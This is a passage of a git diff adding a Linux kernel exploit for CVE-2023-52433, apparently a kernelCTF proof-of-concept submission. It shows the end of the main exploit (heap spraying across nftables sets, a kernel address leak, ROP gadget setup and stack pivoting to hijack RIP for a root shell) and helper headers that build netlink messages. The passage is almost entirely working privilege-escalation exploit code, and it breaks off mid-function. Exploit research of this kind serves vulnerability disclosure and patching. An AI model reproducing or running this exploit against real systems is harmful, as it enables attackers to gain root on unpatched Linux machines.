NFT_LAST_OPS;//0xf = offset between start of NFT_SET_EXT_USERDATA and expr->ops + printf("kernel off :%llx\n", kernel_off); + ops_addr = *(uint64_t *)(setelem_udata+0xb7); //0xb7 = offset between start of NFT_SET_EXT_USERDATA and struct nft_bitmap_elem->head.next +} + +void control_rip(struct nl_sock *socket, char * table_name, char *rbtree_set_name, char * pipapo_set_name, char *bitmap_set_name, char *obj_for_exp_name, char *key, char *pad){ + uint64_t * key1 = (uint64_t *)key; + //Step6 + //Delete the `element G` we get in step 5. + uint16_t index_key = *(uint16_t *)(setelem_udata+0xd3)+1; //0xd3 = offset between start of NFT_SET_EXT_USERDATA and struct nft_bitmap_elem->ext.NFT_SET_EXT_KEY + del_setelem(socket, table_name, bitmap_set_name, &index_key, BITMAP_KEYSIZE, NULL, 0); + printf("Finish step6\n"); + //Step7 + //Create some bitmap elements with our ROP gadget to get the heap of the `element G` back. + sleep(1);//Wait the element get freed. + //We prepare the ROP gadget on the leak set element + pad_rop_gadget(&pad[1]); + for(int i=0x200;i<0x600;i++){ + index_key = i; + new_setelem(socket, table_name, bitmap_set_name, pad, 0xd8, NULL, &index_key, BITMAP_KEYSIZE, NULL, 0, 0); + }//0xd8 = sizeof(rop) we need. It also use the same slab of element G. + printf("Finish step7\n"); + //Step 8 + //Delete the `element F` + elem_flush(socket, table_name, pipapo_set_name); + sleep(1);//wait to destroy + printf("Finish step8\n"); + //Step 9 + //Create an `element H` of a pipapo set to get the heap of the `element E` back(just like step 3). + memset(pad, 0x41, PAD_SIZE); + *(uint64_t *)&key[12] = 0x3000000000007800;//NFT_SET_EXT_KEY=0x78, NFT_SET_EXT_USERDATA=0x30 + *(uint64_t *)&key[20] = 0x5058;//NFT_SET_EXT_EXPRESSIONS=0x58, NFT_SET_EXT_OBJREF=0x50 + + *(uint64_t *)&pad[0x17] = 0x10;//setelem->expr's size + *(uint64_t *)&pad[0x1f] = ops_addr+0x20;//setelem->expr[0]->ops + *(uint64_t *)&pad[0x27] = kernel_off + POP_RSP_RET;//stack migration second + *(uint64_t *)&pad[0x2f] = ops_addr+0x20; + *(uint64_t *)&pad[0x37] = 0x70; //fake key + for(int i=0;i<0x400;i++){ + *(uint32_t *)key = i; + new_setelem(socket, table_name, pipapo_set_name, pad, 0x80, obj_for_exp_name, key, KEY_SIZE, NULL, 0, 0); + }//By calculation, the heap size of the pipapo set element created with a pad size of 0x80 belongs to the same slab as element F. + printf("Finish step9\n"); + memset(key,0x41,KEY_SIZE); + //Step 10 + //Get `element E`. We will hijack RIP, perform stack migration, and finally jump to the ROP gadget to get the root shell + *key1 = 0x70; + get_setelem(socket2, table_name, rbtree_set_name, key, KEY_SIZE);//control rip +} + +void exploit(struct nl_sock *socket){ + char *table = "table for exp"; + char *bitmap_set = "set bitmap for exp"; + char *pipapo_set = "set pipapo for exp"; + char *obj_for_exp = "obj for exp"; + char *rbtree_set = "rbtree set for exp"; + //init + new_table(socket, table); + new_set_bitmap(socket, table, bitmap_set); + new_set_pipapo(socket, table, pipapo_set, KEY_SIZE, NFT_OBJECT_CT_EXPECT); + new_obj_ct_expect(socket, table, obj_for_exp, NULL, 0); + char *key = malloc(KEY_SIZE); + memset(key, 0x41, KEY_SIZE); + char *pad = malloc(PAD_SIZE); + memset(pad,0x41,PAD_SIZE); + //Step1: prepare env + prepare_env(socket, table, rbtree_set, obj_for_exp, key); + printf("Finish step1\n"); + //Step2: trigger the vul + trigger_vul(socket, table, rbtree_set, obj_for_exp, key, pad); + printf("Finish step2\n"); + leak_info(socket, table, rbtree_set, pipapo_set, bitmap_set, obj_for_exp, key, pad); + + control_rip(socket, table, rbtree_set, pipapo_set, bitmap_set, obj_for_exp, key, pad); + printf("End\n"); + while(1); +} + + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + exploit(socket); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/obj.h b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/obj.h new file mode 100755 index 000000000..0fcef1d1c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/obj.h @@ -0,0 +1,66 @@ +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 0x41); + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/set.h b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/set.h new file mode 100755 index 000000000..cac74df17 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/set.h @@ -0,0 +1,195 @@ + +void new_set_rbtree_for_timeout(struct nl_sock * socket, char *table_name, char *set_name, uint32_t obj_type, uint32_t key_len){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x10)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT|NFT_SET_TIMEOUT|NFT_SET_INTERVAL)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + nla_put_u32(msg2, NFTA_SET_GC_INTERVAL, htonl(0x100000)); + nla_put_u32(msg2, NFTA_SET_POLICY, htonl(NFT_SET_POL_MEMORY)); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + + +void new_set_bitmap(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(2)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/setelem.h b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/setelem.h new file mode 100755 index 000000000..25c52ab56 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/setelem.h @@ -0,0 +1,514 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + if(obj_ref) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + + +struct nlmsghdr *new_setelem_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + + + +void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(key_end){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + +void new_setelem_with_expiration(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall, uint64_t expiration_time){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + nla_put_u64(elem_nest, NFTA_SET_ELEM_EXPIRATION, expiration_time); + nla_put_u64(elem_nest, NFTA_SET_ELEM_TIMEOUT, expiration_time); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + 